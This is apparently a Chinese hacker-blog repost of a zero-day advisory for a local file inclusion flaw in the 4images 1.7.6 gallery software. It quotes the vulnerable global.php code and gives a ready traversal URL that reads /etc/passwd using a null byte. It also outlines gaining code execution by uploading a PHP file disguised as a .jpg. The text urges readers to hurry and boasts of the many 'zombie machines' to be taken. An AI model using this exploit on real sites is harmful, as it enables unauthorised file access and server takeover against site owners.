明生提示:0day呀..快抢呀
BY Flyh4t
/***********************************************************/
4images - Image Gallery Management System V1.7.6 Local Inclusion Vulnerability
Author : Flyh4t
msn : flyh4t@hotmail.com
team: Wolves Security Team
site: bbs.wolvez.org
Greet to : q1ur3n puret_t make0day and all the members of Wolves Security Team
Bug file : global.php
if (isset($HTTP_GET_VARS['l']) || isset($HTTP_POST_VARS['l'])) {
$requested_l = (isset($HTTP_GET_VARS['l'])) ? trim($HTTP_GET_VARS['l']) : trim($HTTP_POST_VARS['l']);
if ($requested_l != $config['language_dir'] && file_exists(ROOT_PATH.'lang/'.$requested_l.'/main.php')) {
$l = $requested_l;
$config['language_dir'] = $l;
}
}
include_once(ROOT_PATH.'lang/'.$config['language_dir'].'/main.php');
4Images这一套程序都差不多包含global.php,所以要肉鸡也多多呀
- /index.php?l=../../../../../../etc/passwd%00
具体利用:我们可以注册一个用户，并上传PHP文件名字xxx.jpg .然后我们对伺候器和被包括在内的文件进行操作
原创文章如转载，请注明：转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]
本文链接地址：http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/4Images-Vulnerability.html